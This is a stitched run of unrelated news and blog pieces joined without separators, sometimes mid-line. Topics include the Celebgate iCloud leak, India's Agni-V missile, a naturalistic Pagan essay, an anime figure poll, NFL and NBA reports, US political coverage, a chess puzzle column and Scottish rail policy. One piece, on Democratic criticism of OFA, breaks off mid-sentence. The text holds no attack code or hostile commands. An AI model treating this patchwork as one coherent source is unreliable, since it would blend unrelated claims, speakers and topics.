But first, the online security angle. Since most of the victims are paid-up members of the Church of Apple, their compromising selfies were probably taken on iPhones and then uploaded to iCloud, the company's online storage system. Given the cunning way in which Apple sets the default settings on new iPhones –the default allows for all your data to be backed up – it's possible that some of the victims didn't even know that their stuff was in the cloud. As far as they were concerned, the photographs were on their phones and therefore safe. At the very least, this should serve as a wake-up call for all those non-celebrity iPhone users to check their default back-up settings.
Apple responded vigorously to deny that there had been any systemic breach of iCloud security. The images were stolen by people hacking into individual accounts using some combination of guesswork and information about targeted individuals gleaned from social media and other online sources. The general methodology was demonstrated last week by two Guardian journalists who attempted to use this approach to break into one another's accounts. (As it happened, each failed, but my guess is that if they had persisted they would eventually have struck lucky.)
There are three immediate lessons from this for the rest of us to learn: don't ever put really private stuff in the cloud without encrypting it – and if you don't know how to encrypt it then keep it offline; use two-factor verification ; and never, ever post your real date of birth on any social networking site. In some quarters, Celebgate prompted hand-wringing and tut-tutting about contemporary mores from Disgusted of Tunbridge Wells. What are these people doing, taking photographs of themselves naked or in compromising situations? This is narcissism gone mad etc, etc. But it turns out that people who think like that are, well, over the hill.
Writing in the Guardian, Zoe Williams offered wrinklies an update on modern culture. Naked selfies, she says, are a cultural phenomenon. If you don't ask who has naked photos in the cloud, you don't find out, writes Williams. "Which is a big hole in your knowledge, because the answer is everybody. Everybody but you."
The most revealing aspect of the whole affair, however, came from Google. Once the word got out that illicit photographs of Jennifer Lawrence were on the net, searches on Google for "Jennifer Lawrence" went through the roof. Which means, to put it crudely, that millions of people had the idea of further invading her privacy, of compounding the original crime. And that they probably embarked on the quest to do that without thinking of the implications of what they were doing. For, as one (female) Twitter user put it: "Remember, when you look at these pictures you are violating these women again and again. It's not OK."
It's not. Ever since 1993, when Mosaic, the first graphical browser, transformed the web into a mainstream medium, the internet has provided a window on aspects of human behaviour that are, at the very least, puzzling and troubling.
In the mid-1990s, for example, there was a huge moral panic about online pornography, which led to the 1996 Communications Decency Act in the US, a statute that was eventually deemed unconstitutional by the Supreme Court. But when I dared to point out at the time in my book, A Brief History of the Future: The Origins of the Internet, that if there was a lot of pornography on the net (and there was) then surely that told us something important about human nature rather than about technology per se, this message went down like a lead balloon.
It still does, but it's still the important question. There is abundant evidence that large numbers of people behave appallingly when they are online. The degree of verbal aggression and incivility in much online discourse is shocking. It's also misogynistic to an extraordinary degree, as any woman who has a prominent profile in cyberspace will tell you.
One such is Professor Mary Beard, the Cambridge classicist. "It doesn't much matter what line of argument you take as a woman," she told the New Yorker recently. "If you venture into traditional male territory, the abuse comes anyway." One tweet that had been directed at her read: "I'm going to cut off your head and rape it." And Professor Beard's experience is not unusual: lots of other prominent women writers, bloggers and Twitter users have been subjected to the same kind of abuse.
There's no point in blaming the internet for this. All the technology has done is to reveal a deeply unpleasant truth: when you remove the social constraints on behaviour that operate in the offline world, then a darker side of human nature emerges snarling into the light.
And the most troubling aspect of this is the revelation that a large number of males appear to harbour a deep hatred of women. Why this is so is a question for psychologists and anthropologists. But the glee with which millions of internet users clicked on the stolen selfies of Jennifer Lawrence et al is just the latest example of it. And there's lots more where it came from.India and China are the epitome of frenemies. Their relationship isn't outright antagonistic, as India's is with neighbouring Pakistan, but has remained prickly since an ongoing border dispute over Tibet that began in the 1960s. Which is why it could be a bit disconcerting that India's newest missile can reach Beijing, not to mention deep into Europe.
The primary difference between the China and India's missile programs has historically been a matter of range. China's Dongfeng class of ICBMs, with a maximum range 3,000 km to more than 10,000 km, have long been able to penetrate the breadth of India's airspace, while India's short range ballistic missiles have barely been able to get beyond Lhasa. Irradiating the capital city of the region you're fighting over is rather counter-productive. But the advent of the new Agni-V ICBM, China's cultural and economic centres are suddenly within India's reach.
The Agni-V missile is the latest iteration of India's ICBM line and has been developed by India's Defence Research and Development Organisation (DRDO). The original Agni ("fire") I and II ICBMs were short range units designed specifically to ruin Pakistan's week. The medium range Agni III extended India's nuclear strike range into Western China while the new Agni V (Agni-III* and Agni-IV were rolled into this model) can reach all the way to the Yellow Sea and into Europe.
The missile measures 57 feet in length by 6.5 feet in diameter, weighs 50 tons, and can carry a 3,300 pound nuclear warhead. Its three-stage solid fuel engine will generate 330 to 440 tons of thrust to boost the system into the upper atmosphere and back down again at speeds topping mach 24 with a maximum range of 5,500 km (1,500 km more than the Agni-IV). While the current version can only carry a single warhead, future iterations will reportedly be armed with MIRVs (Multiple independently targetable reentry vehicles) which will carry multiple warheads that can split off from the main missile and target other cities.
The Agni-V also differs from its predecessors in that it is canister launched and is designed to be easily manoeuvrable by truck or by rail. This eliminates the need for expensive, easily targeted missile silos.
"The Agni-5 is specially tailored for road mobility," explained Avinash Chander, Director of the Advanced Systems Laboratory (ASL) in Hyderabad, to Rediff News. "With the canister having been successfully developed, all India's future land based strategic missiles will be canisterised as well." In all, the Agni-V has cost a total of just 25 billion (US$383 million) to develop.
News of the Agni-V's development first broke in 2007. By April 2012, an Agni-V prototype had successfully completed a 90 second test firing, the first of five test series the missile must pass before entering production by 2016. In January of this year, the Indian government rolled out a reportedly operational unit for its annual Republic Day, along with a reminder to Pakistan not to take their friendship "for granted." Yeah, real friendly.
Last week, India performed a second successful test firing of the missile. “The test was successful,” Ravi Kumar Gupta, spokesman for the DRDO, said in a press statement Sunday. “It hit the target in a predefined trajectory. It met all the mission objectives.”
Now whether the regional security balance will be upset by the imminent production of this new ICBM remains to be seen. On one hand, this system merely incrementally augments India's nuclear deterrent capability, it doesn't impart any huge new tactical advantage.
"The existence of the Agni-V does not change the weapons requirements of any of India's potential foes," Christopher Clary, a former country director for South Asian affairs in the Office of the Secretary of Defence, told the Global Security Newswire. "China already has long range missiles and Pakistan can credibly threaten Indian commercial and political centres with its existing systems. "
On the other hand, this development could well inflame Pakistan and India's nearly seven decade long tensions and potentially accelerate the arms race between the two nuclear powered nations. Even worse, it could lead to even greater instability in an already unstable region. So, there's that. But at least it looks impressive in a parade. [Gavari Gujarat - Al Jazeera - Wikipedia- Times of India]When I was first introduced to Paganism, I was 16. I had been, in a sense, taken in by a Pagan family. Their Paganism was eclectic—influenced by Wicca, Feri, and the Reclaiming tradition, as well as B.’s Native American heritage and spirituality. The Paganism I first learned was an Earth-based spirituality, but one in which the primary myth through which to connect to the Earth was the Wiccan myth of the lifecycle progression of the Goddess and God.
Since I came to Paganism primarily through that myth, I naturally assumed that belief in the Goddess and the God was a necessary component of Pagan practice. As I began to participate in ritual with their circle, I witnessed the goddesses and gods of various pantheons called out and invoked. Eventually, I came to think that being properly Pagan required belief in at least some gods and goddesses. And so I set out in search of a pantheon to which I could connect myself.
My great-grandparents on both sides were immigrants. On my father’s side, they came from Ireland. On my mother’s, from Sweden. And so I naïvely assumed that I would feel some kind of deep connection to the Celtic and/or Norse gods and they would play a central role in my Paganism going forward. I did what I could at 16 or 17 to learn about the spiritual practices of my ancestors, and recover what I could about their gods, goddesses, myths, and rituals. Where information was lacking, I tried intuitive connection. I tried to call out to them, and I heard no answer. I tried to visualize them, and could see nothing. After trying my hardest, no matter what I did, I felt nothing.
The Loss of the Gods
What I came to realize about myself is that it is simply not in my constitution to believe in gods and goddesses as actual beings with personalities and narratives of battles and romances and petty squabbles among them. I can appreciate them as cultural symbols, as mythological characters that speak to the experience of a people located in a particular time and place. But I cannot honestly see gods and goddesses as anything other than products of the imagination of humans. We made them; they did not make us.
My realization that I could not believe in goddesses and gods put an end to my burgeoning Paganism. Since I associated Paganism with belief in deities, I felt I could no longer be at home in the Pagan community. And this was a great loss for me. In the Pagan community I had found the first examples of adult womanhood that spoke to me. In B., my mentor, I had found a woman who was fierce, intelligent, creative, sexual, loving, exuberant, and deep. I had found married couples—heterosexual and not—that were truly egalitarian and celebrated each others’ unique powers. I had found a circle of open and artistic people, who practiced together even though they served different gods and believed different myths. I had found a deep experience of beauty and wonder in the ritual practices and warmth in the togetherness that came from being in the circle.
I mourned the loss of Pagan community. I felt a deep absence in my life. But I was also unwilling to fake belief in goddesses and gods. I could not be inauthentic in that way.
After leaving the Pagan community, I spent a few years studying meditation. I read Buddhist and Hindu texts. I started learning what I could about physics. And it was through this combination of meditation and physics that I found my way back home to the Pagan community. Instead of in goddesses and gods, I found sacredness in the structure and process of the universe. It is this sense of the sacred that grounds my Pagan practice.
The Sacred Universe Regained
Contemporary physics tells us that the universe began denser, hotter, and smaller than most humans are capable of even imagining. All matter/energy in the universe at that moment was together and relatively uniform. It was the pure potential out of which all objects and beings would be born.
As the universe expanded, it also became less and less uniform. What began out of only two elements became increasingly diverse. New elements were formed out of the life and death of stars. Eventually, stars were joined by planets. Over billions of years, the universe that was once characterized by its uniformity, heat, and small size grew and changed. Diversity had begun to emerge alongside development.
The Earth was formed. It too went though periods of tremendous transformations. Meteorites rained down on the earth. Continents broke apart and collided. In the oceans, eventually, life formed. As life progressed, it too became increasingly diverse. Life took on multiple forms that would eventually either evolve or die off.
My sense of the sacred comes from the fact that, with sentience in humans and perhaps other animals, the universe has evolved to be able to recognize itself. As physical beings, we are made from the elements birthed in the stars. We are part of the Earth. Life emerged out of the chemicals on her surface. We exist because of the long chain of evolution and life’s generous diversity with respect to forms. So, not only are we connected in deep and meaningful ways to all things in the universe and in the world. It is also in us (and potentially in other beings) that the universe, through our sentience, is able to gaze upon herself. Our sentience allows us to witness the majesty from which we come. And this witnessing, this recognition of our interconnectedness and embeddedness, grounds my sense of the sacred.
Biologists and other life scientists speak of a common ancestor for all life, LUCA. But our commonality, the oneness that grounds our existence goes back much further. All the way back. All the way back to the mysterious, dense, hot beginnings of the universe. Our story begins at that moment. Together. With everything that has ever been and everything that ever will be. That knowledge is awe inspiring to me. It fills me with deep wonder and gratitude. The oneness of all things, our eventual emergence, our dependence and interconnection with the Earth. To me, this is the Sacred. To me, this is divine.
For some, this sense of the sacred might not seem particularly Pagan, since my experience of the divine is not grounded in some external personality or authority. But the values I came to hold in Pagan community and the energy states I experienced in Pagan practice thoroughly pervade my spiritual experiences. In their eclectic circle, I learned reverence for the earth, the interconnectedness of all beings, a deep love and for the wisdom and beauty of the life cycle—of birth, growth, death, and decay. In circle and in meditations guided by my mentor, I felt the warm peace and ecstasy that comes from the experience of union with the universe. I may have given up on finding the goddesses and gods. But I have reclaimed and rediscovered those values and experiences that I think most importantly capture the spirit of Paganism through a naturalistic, Earth-based practice.
All of this is perhaps only a very long winded way of saying what Neil Degrasse Tyson may have said best: “Not only are we in the universe, the universe is in us. I don’t know of any deeper spiritual feeling than what that brings upon me.”
The Author
Crafter Yearly earned a PhD in political philosophy and now works as a professor at a teaching institution in the midwest. Her research is in the areas of antiracism, feminism, and social constructivism. She was introduced to Paganism by Wiccans, but has come over time to adopt a purely naturalistic reverence for the Earth and the Universe. She lives her Paganism by celebrating the movements of the sun and the moon, connecting to the cycles of the earth through crafting handmade goods, and connecting to her body through yoga and dance. Crafter Yearly maintains a blog at: https://craftingthewheeloftheyear.wordpress.com.Last December, Aniplex Plus presented Sword Art Online Extra Edition Asuna and Suguha swimsuit figures, and it's now time for a follow-up. In preparation, they're asking fans to pick who they'd next like to see in 3D. Through October 15th, fans (who live in Japan) who submit a selection from among the 41 choices, and explain their pick, are eligible to win a set of the previously released figures.
Kirito (Black Swordsman)
Kirito (Clan Knight)
Kirito (GGO)
Kirito (ALO)
Kirito (Wedding)
Kirito (pajamas)
Kazuto Kirigaya (uniform)
Kazuto Kirigaya (plain clothes)
Klein (SAO)
Klein (ALO)
Agil (SAO)
Asuna (SAO)
Asuna (Titania)
Asuna (Undine)
Asuna (Wedding)
Asuna (pajamas)
Asuna (ALO plain clothes)
Asuna Yuuki (plain clothes)
Asuna Yuuki (uniform)
Leafa
Leafa (ALO plain clothes)
Suguha Kirigaya (uniform)
Suguha Kirigaya (dogi)
Suguha Kirigaya (plain clothes)
Sinon (GGO)
Sinon (ALO)
Shino Asada (plain clothes)
Shino Asada (uniform)
Yuki
Yuuki Konno (unfirom)
Silico (SAO)
Silica (ALO)
Keiko Ayano (plain clothes)
Keiko Ayano (uniform)
Lisbeth (SAO)
Lisbeth (ALO)
Rika Shinozaki (plain clothes)
Rika Shinozaki (uniform)
Sachi
Yui (SAO)
Yui (ALO)
Similarly, Dengeki Bunko is holding a poll, through the end of October, for the character to be featured on a book of Sword Art Online by light novel illustrator abec
SPOILER WARNING.....
The rankings, updated every 10 minutes, include
1. Asuna (SAO - deputy clan leader)
2. Kirito (SAO - Black Swordsman)
3. Alice Synthesis Thirty
4. Sinon (GGO sniper)
5. Yuki
6. Eugeo
7. Asuna (Alicization Exploding: Goddess of Creation Stacia)
8. Yuuki Asuna
9. Sinon (ALO: Cait Sith)
10. Kirito (Kirito (GGO: M9000 long-haired avatar)
11. Silico (ALO: Cait Sith)
12. Asuna (ALO: Undine)
13. Silica (ALO: Beast Tamer)
14. Leafa
15. Suguha Kirigaya
16. Shino Asada
17. Kirito (Alicization Training Officer)
18. Kazuto Kirigaya
19. Alice Schuberg
20.Ronye Arabel
21. Sachi
22. Lisbeth (SAO Smith)
23. Yui (SAO: mental health counseling program)
24. Yuki Kanno
25. Argo
26 Asuna (ALO: Titania)
27. Kirito (ALO: Spriggan)
28. Yui (ALO : navigation Pixie))
29. Klein (SAO)
30. Kuradeel
via Dengeki Online and ultimatemegax
------
Scott Green is editor and reporter for anime and manga at geek entertainment site Ain't It Cool News. Follow him on Twitter at @aicnanime.Denver’s two starting defensive ends—Derek Wolfe and Malik Jackson—were both set to become free agents this offseason. They’ve performed well with the Broncos, causing some to believe they may have become too expensive for the team to afford.
Others thought that perhaps the team could afford to re-sign only one of them. If they had to choose between the two of players, many—myself included—thought that the team would choose Jackson.
We were wrong.
Denver gave Wolfe a four-year contract extension Friday, worth $36.7 million, according to ESPN’s Jeff Legwold. Wolfe received $17.5 million in guarantees.
Congrats to Derek Wolfe. Well deserved. Like his game! — Chris Long (@JOEL9ONE) January 15, 2016
This doesn’t mean that Denver won’t bring back both defensive ends—they still might—but if they’re only able to afford one, Wolfe was the team’s first choice.
Wolfe recorded 49 tackles and 5.5 sacks this season. Jackson totaled 45 tackles and 5 sacks.
“This year, Derek’s developed into one of the best 3-4 defensive ends in football,” general manager John Elway said Friday afternoon.
Derek Wolfe's developed into one of the top DLs in the NFL, and we're excited w/his 4-year extension. Proud of him!! pic.twitter.com/PrnOjsT7fV — John Elway (@johnelway) January 15, 2016
Wolfe is now under contract through 2019.
In '13 Wolfe was temporarily paralyzed with a spinal contusion, lost nearly 40 pounds, went into depression, climbed out, & came back better — Brandon Thorn (@VeteranScout) January 15, 2016
Wolfe was suspended the first four games of the regular season for violating the league’s performance-enhancing drugs policy. In the 12 games that he did play, he ranked fourth among 3-4 defensive ends, according to advanced stats website Pro Football Focus.
Wolfe reportedly could have received more money from another team this offseason, but he wanted to stay in Denver.
Broncos Wire’s Justin Michael had Wolfe as the fourth-most important free agent for Denver to re-sign this offseason and Jackson as the second-most important free agent.
Earlier this month, Elway said that the team hopes quarterback Brock Osweiler will be with the team for a long, long time. He continued on to say that after the playoffs concluded the team will “start hitting those contracts and see if we can keep this team together.”
The team is not expected to extend any more players before the offseason, according to the Denver Post‘s Troy Renck. When the team does start talking contracts again, Jackson seems to be a likely candidate for an extension.
For a complete list of Denver’s 2016 free agents, click here.After originally being put onto the market back in 2012 with an asking price of $16.8 million USD, Pharrell’s Miami penthouse is once again up for sale. However, this time the property has been listed at $10.9 million USD. And if you’re an avid art lover, you’re in for a treat. As expected, the creative’s South Florida residence is filled with work from the likes of KAWS, Takashi Murakami, Kidrobot, Keith Haring and Andy Warhol.
The living room boasts a cathedral-like ceiling, then leading up to a second-floor loft space. Other features include a spiral staircase, library, private screening room and five bedrooms. Of the 9,000 total square feet, 5,000 of that is designated to the outdoor terrace, with the penthouse being located at the top of Bristol Tower in Miami’s prestigious Brickell neighborhood. The condo provides with great views of downtown and the neighboring bay, but those that are trying to peer in are out of luck. You can see out, but not in.
For more, follow here for the real estate listing.
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Words by Jonathan Sawyer Staff Writer Not NYC, not LA.Nearly a month after President Donald Trump announced in a series of tweets that he would ban transgender individuals from serving in the military, the White House is prepared to send guidance to the Pentagon on the implementation of the ban, the Wall Street Journal reported Wednesday night.
Defense Secretary James Mattis will have six months to put the new policy in place, according to the Wall Street Journal. The memo directs the military to reject transgender people who apply to serve and orders the Pentagon to stop paying for medical services for the transgender troops already serving, according to the Wall Street Journal.
The memo gives Mattis some leeway in determining the fate of those transgender people already serving in the military. He will be charged with determining whether transgender individuals are able to serve in a war zone and therefore whether they should be separated from the military, per the Wall Street Journal.
Trump announced the new policy in a late July tweetstorm claiming that he had discussed the policy with his “generals.” However, Pentagon leadership was caught off guard by the announcement. The new policy, an attempt to please the conservative base, drew criticism from several Republican members of Congress, as well as from some military leaders.It is difficult to overstate just how enraged state Democratic activists and leaders are with Organizing for Action (OFA), the political and community-organizing army that grew out of Barack Obama’s presidential campaigns.
The nonprofit, which functions as a sort of parallel-Democratic National Committee, was founded to mobilize Democratic voters and supporters in defense of President Obama’s, and the Democratic Party’s, agenda. Instead, the organization has drawn the intense ire, both public and private, of grassroots organizers and state parties that are convinced that OFA inadvertently helped decimate Democrats at the state and local level, while Republicans cemented historic levels of power and Donald J. Trump actually became leader of the free world.
These intra-party tensions aren’t going away, especially now that OFA “relaunched” itself last week to protect the Affordable Care Act, boost turnout at congressional townhalls, and train grassroots organizers gearing up for the Trump era.
“This is some GRADE A Bullshit right here,” Stephen Handwerk, executive director of the Louisiana Democratic Party, wrote in a private Democratic-listserv email obtained by The Daily Beast. Handwerk was reacting to news of OFA’s post-election retooling, which was shared “without comment” to the group of state-level Dems by Crystal Kay Perkins, executive director for Texas Democrats.
“It also to me seems TONE DEAF—we have lost over 1,000 seats in the past 8 years… all because of this crap,” Handwerk continued. “Let’s get through the next two weeks—but then we gotta figure this out and keep the pressure on. WOW.”
Others on the thread shared these sentiments.
“Yes, it sure is,” Katie Mae Simpson, executive director for the Maine Democratic Party, replied. “OFA showed up in Maine, organized a press conference on saving [Obamacare], with one of our Dem legislative leaders speaking, all without ever mentioning that they were in state and organizing. They hired someone I know, which is somewhat helpful, but my god, they don’t have a very good alliance-building process.”
Such grievances, though expressed privately, are nothing new among state Democratic Party leadership.
“[With] all due respect to President Obama, OFA was created as a shadow party because Obama operatives had no faith in state parties,” Nebraska Democratic Party Chair Jane Kleeb told Politico last week.
“I love and adore everything about President Obama except for OFA,” South Carolina Democratic Party chairman Jaime Harrison (who is also running to chair the Democratic National Committee) said at a recent DNC “future forum,” according to The Washington Post.
President Obama, himself a proud community organizer, had long been credited with leading a savvy, vigorous grassroots campaign to win the White House in 2008. However, it wasn’t long after he first stepped into office before state-level Democrats all around the country began sounding the alarm that his formidable grassroots army was being left to wither and rot.
Furthermore, just days after the second inauguration of President Obama, DNC members were still loudly expressing fear that OFA ran the risk of denting the national party’s fundraising and (more importantly) diverting much-needed resources and organizing power.
Too many Democrats started seeing OFA as just another boogeyman. For instance, when reached by The Daily Beast for this story, two Democratic operatives independently referred to OFA as “The Devil.”
“If we were having a conversation about state parties, I would say OFA hurt state parties badly,” Handwerk told The Daily Beast, elaborating on his leaked email. “It certainly had an undercutting effort. And there is a lot of work state parties do that isn’t very sexy… and that becomes incredibly difficult when budgets are cut in half because people are trying to curry favor with the president and his allies.”
Perkins and Simpson did not respond to interview requests for this story.
Handwerk, who has worked in the red state for years, says his personal experiences with OFA weren’t bad, per se—it’s that they were nonexistent.
“Supposedly, Louisiana has had, on paper, a state director for OFA who has been in the role for what I’m told is multiple years—none of us know who she is,” he said. “She only just followed me on Twitter [four] days ago. That’s how I know who she is.”
This OFA state lead is Carolyn Sawyer, who told The Daily Beast that “I really have not talked with [Handwerk]. I’m sure he |
(via AppleInsider) that uses a familiar mirror box-type design, but that works with digital images instead of physical objects like those you might find in novelty stores, and that also incorporates 3D gesture-based input from a user for control.
The 3D display would project a sort of hologram image above a light source using a UFO-shaped combination of two parabolic mirrors. That projected image could then be manipulated and interacted with by a user, with touch-based input detected via lasers built into the display device. These lasers would relay data about when and where their path is broken, which would then be interpreted by an on-board processor and translated into interaction data.
3D hologram-style displays aren’t new, and other big tech companies including Microsoft as seen above, have pursued similar designs in the past. Apple’s tech doesn’t seem anywhere close to the stage where you might see it incorporated into mobile devices like the iPhone, but it does present an interest reference design for a potential future peripheral.
With Amazon supposedly set to release a smartphone with some 3D display functionality, it is interesting timing for this application to come to light. Still, any iHologram is probably years away from seeing the light of day, if indeed it ever does.EXCLUSIVE: One of the original members from the iconic movie Flatliners is coming back for more. Kiefer Sutherland is joining the cast of the reboot of the 1990 film after schedules were worked out for the actor to do both his new ABC series Designated Survivor and the Sony feature film. Sutherland, who will play a seasoned doctor in the redo, joins Ellen Page, Diego Luna, Nina Dobrev, James Norton and Kiersey Clemens. His deal is not completely closed but he has committed to doing it.
The original Flatliners cast included Sutherland, Julia Roberts, Kevin Bacon, Billy Baldwin and Oliver Platt. The thriller followed five medical students who decide to trigger near-death experiences by purposely stopping their hearts. However, as they delve more into their work, the experiments become more and more dangerous and even scary as they are forced to confront the sins of their pasts as well as contend with the paranormal consequences of crossing a line to the other side.
Flatliners is being directed by Niels Arden Oplev (the Swedish Girl With The Dragon Tattoo, TV’s Mr. Robot) from a script by Ben Ripley (Source Code). The movie is being produced by Laurence Mark and Michael Douglas (who also produced the original movie).
The film goes into production in Toronto later this week.
Sutherland, probably best known for his starring role as Jack Bauer on the long-running Fox series 24, is repped by CAA and Management 360.A characteristically Midwestern problem presented itself in Iowa last week, as the Republican caucuses drew near: How to deal with vulgarity, in the person of Donald Trump? Trump—an embodiment of secular excess, a gleeful assemblage of the major moral vices—might be expected to struggle in Iowa, where the Republican electorate is so stringently evangelical that, in 2008, it went for Mike Huckabee and, in 2012, for Rick Santorum.* But one great accident of 2016 is that the banner of the moral majority has been held not by Santorum or by Huckabee but by the brilliant, despised, opportunistic candidate who at the moment seems like Trump’s main challenger: Ted Cruz. Plenty of people in Iowa have been waiting for Cruz to attack Trump, with whom he is effectively tied in some of the latest polls, in part for the sheer gladiatorial display of it. Among them is a young professor at Simpson College, outside Des Moines, named Kedron Bardwell. In Bardwell’s social circles, there are many Christian conservatives but not a single Trump supporter. “What’s that line about Nixon?” Bardwell asked me. He meant the one attributed to Pauline Kael: “I can’t believe Nixon won. I don’t know anyone who voted for him.” The churches in prosperous greater Des Moines may be as insular as the Upper West Side. Last Monday, Bardwell got a call at home from a woman working for a polling firm, testing out attacks on Trump. Intrigued, Bardwell started writing them down. (After the call ended, he tweeted out his notes, which briefly made him a figure in press coverage of the campaign.) One was a tepid version of a culture-war line, that Trump was a “New York liberal.” Another one, Bardwell thought, was sharper: that the billionaire had confessed “to a Christian audience in Iowa that he had never asked God for forgiveness.” There were enough questions mixed in about Cruz that Bardwell was pretty sure that the Texan was behind the call. The next day, Cruz issued a general attack on Trump’s “New York values,” which the billionaire effectively muted by talking about the heroism of New Yorkers on 9/11. But to Bardwell there was a lingering mystery: With an avowedly evangelical electorate in Iowa, why had Cruz, a man who launched his campaign at Jerry Falwell’s Liberty University, not attacked Trump for his lack of faith, or his faithless acts? His campaign had seemingly considered the line, and then decided against it. Bardwell said, “I was surprised.”
Earlier this week, Cruz took a five-day bus tour through New Hampshire, and I caught him near the end, when he spoke at a town hall in Exeter. The venue was old enough that Abraham Lincoln once spoke there, which surprised and pleased Cruz, but it was intimate, too, which made it a poor fit for him. Cruz’s speeches are in the Chautauqua style—he slowly sweeps his arm in a semicircle to take in the crowd, he kicks his right leg several feet out and gives a theatrical salute, he delivers each line as an applause line, and waits for the crowd to realize it—and so to see him before a small crowd is to feel complicit in a kind of disappointment. The theme of his speech is an “awakening” that Cruz believes is stirring in the country, much as one did in the late nineteen-seventies. Washington, he pointed out, at first “despised” Ronald Reagan. He kept inviting the audience to picture the scene the day after he takes office: executive actions have been reversed, and Department of Justice attorneys are in hot pursuit of Planned Parenthood. “Imagine that morning,” he said. He compared government officials to insects that required pesticide. The Cruz campaign has some of the tone of a social movement, and at times the paraphernalia: in Exeter, Ted Cruz coloring books were passed out, presumably with the idea that children would color in outlines of Cruz in their spare time. And yet it is a very strange social movement, because it is so narrow: morning in Washington, with almost no mention of America. In Exeter, Cruz did not touch on the accumulation of wealth, or the decay of the family, or the surge of identity politics on the left. He did not mention the changing global economy, a major theme of Trump’s, or the tenuous position of the working class, the concern that runs through Rubio’s campaign. He mentioned Planned Parenthood, but not abortion. He talked a great deal about political élites, but not at all about social or economic ones. The rhetoric was heightened—Cruz called America the “last great hope” for humanity—but this just made it stranger. For Cruz, the fight for power in Washington is not only the orienting fight in American life but the only one.Find the right combination! ChessBase 15 program + new Mega Database 2019 with 7.6 million games and more than 70,000 master analyses. Plus ChessBase Magazine (DVD + magazine) and CB Premium membership for 1 year!
Special attention will be paid to Intermediate Moves, Quiet Moves, Sacrifices on Empty Squares, Mating Patterns, Ignoring Opponents Threat, Calculation in Defence and Method of Comparison. Plus 50 interactive examples to test your knowledge.
4/1/2016 – Our loyal friend, Hungarian GM and problemist Pal Benkö, who at the age of 87 is still composing wonderfully imaginative problems and studies, has sent us four very unusual (and tricky!) puzzles to solve on this auspicious day. We present them to you without solutions, so you have a few days to try and find the hidden subtleties and traps. One thing is certain: Benko never ceases to delight.
April problems for ChessBase readers
By Pal Benkö
The first three problems are classical helpmates – both sides cooperate to make the task possible. In the first two it is White to play, and both sides work together to set up a position in which Black is mated on move four. In the third problem it is Black to move, with White mating four moves later. But keep your eyes open: for a very specific reason this problem is completely different from the first two – as is the fourth problem, which is described below.
White to play – helpmate in four moves
White to play – helpmate in four moves
Black to play – helpmate in four moves
Black to play – help-stalemate in five moves
In this final problem Black makes the first move, and the two side cooperate to construct a position in which one side is stalemated after five moves of play. Careful: the problem is not trivially easy, as you might think at first glance.
We wish you fun with these four problems, which appeared in the April 2015 issue of Chess Life (in slightly different form). The solutions will be given here in a few days. It is important that you do not post them or any key observations you make in our discussion section below – you may only announce that you have solved the problems. Please let other readers work out the tricks for themselves.
About the author
Pál Benkö, 86, is a Hungarian-American chess grandmaster, openings theoretician, author and problemist. He became Hungarian champion when he was 20 and finished in first place (or tied for first place) in eight US Championships, a record: 1961, 1964 (in that year he also won the Canadian Open Chess Championship), 1965, 1966, 1967, 1969, 1974, 1975. Benko's highest achievements were playing in the Candidates Tournament with eight of the world's top players in 1959 and 1962. He qualified for the 1970 Interzonal tournament, the leaders of which advance to the Candidates. However, he gave up his spot in the Interzonal to Bobby Fischer, who went on to win the World Championship in 1972.
As we have learned (in the magazine New in Chess 2016#2) Benko actually struck the 19-year-old Bobby Fischer during the 1962 Candidates tournament in Curaçao during an argument over the services of GM Arthur Bisguier during adjourned games. Pal called Bobby a selfish pig, and Bobby said equally nasty things to Pal, who told him not to repeat that. When he did, "I hit him. The next day I regretted it and from that moment on I could not play against him." (Benko had beaten Fischer in the first round of that tournament). "I should not have hit him," says Benko. Miraculously the incident did not destroy their friendship – Fischer continued to revere, admire and respect Benko till the end of his life.Editor's Picks Ellis shoots (and shoots) Mavs to victory Thirty-five shots? Monta Ellis shows no fear and he proved that again with a clutch performance against the Bulls, writes Tim MacMahon.
Rose's full game vs. Mavs thrills, falls short The Bulls fell just short in a double-overtime loss to the Mavericks on Tuesday. But Derrick Rose played a thrilling, complete game -- so hey, that's something, writes Jon Greenberg. 1 Related
CHICAGO -- The Dallas Mavericks' 132-129 double-overtime victory over the Chicago Bulls on Tuesday night wouldn't have been possible without a foul 17-year veteran Dirk Nowitzki called one of the dumbest he has seen.
Bulls guard Kirk Hinrich, a veteran in his 12th NBA season who has a reputation for being a smart player, committed the foul with 1.2 seconds remaining to send Mavs guard Monta Ellis to the line for the game-tying free throws.
"In my 17 years, it was one of the dumber fouls I've ever seen," Nowitzki said in a matter-of-fact tone. "You wait all the way until he dribbles to the 3-point line to grab him, so that's obviously a tough one, tough play. I saw coach [Tom] Thibodeau was just shaking his head."
With the Bulls leading by three points after Pau Gasol's free throws with 4.2 seconds remaining, Chicago had a foul to give. However, by the time Hinrich made contact, Ellis was in the motion of launching a 28-foot desperation runner.
"I waited too long. I messed it up," Hinrich said. "It was a bonehead play. I know better than that. This one's on me because I felt like we played a good game to that point. To get back to the point we were in a position to win. For them to tie it up on a play like that, it was a bad decision."
"I waited too long. I messed it up. It was a bonehead play. I know better than that."
Thibodeau told the Bulls in the locker room that he was to blame for the foul and made the same point during his postgame news conference.
"That was my fault," Thibodeau said. "We wanted to take the foul, and I was not clear enough about how and where. Obviously, we wanted to take it in the backcourt; they were out of timeouts. It gets tricky when they get in the scoring area, if a guy is facing you. That was my fault."
Hinrich wasn't willing to let his coach take the blame for his boneheaded play.
"I've been around 12 years; I know better than that," Hinrich said. "It was one of those things where it was just a bad play.... I know better than that. It's on me. [I'll] learn from it and move on."
ESPNChicago.com's Nick Friedell contributed to this report.A MAJOR think tank has called for complete control of Scotland’s railways to be devolved to Holyrood.
Reform Scotland has said that responsibility for all Scottish routes which are currently overseen by UK infrastructure body Network Rail should be transferred to politicians north of the Border.
The call echoes comments by Transport Minister Humza Yousaf, who has said there is an “accountability gap” because Network Rail Scotland is not directly answerable to the Scottish Parliament.
Reform Scotland pointed out that the majority of delays on ScotRail trains are attributed to Network Rail. It said the focus of the debate around the rail network should be on Scotland’s poor connectivity and lack of electrification and should move away from the obsession of cutting train times to London.
“Although the Scottish Government is responsible for providing the strategic direction and funding for the Scottish rail network, ultimately Network Rail is a UK body answerable to the UK Government,” the think tank said. “Reform Scotland believes that responsibility for the Scottish route should transfer to a new body directly responsible to, and answerable to, the Scottish Government.”
Reform Scotland also called for a Scottish rail infrastructure commission to be set up to look at the future of rail services.
Its report said: “In 30 years’ time, do we want to be in a situation where it could take less time to reach London by rail from Edinburgh than it does to reach Inverness?
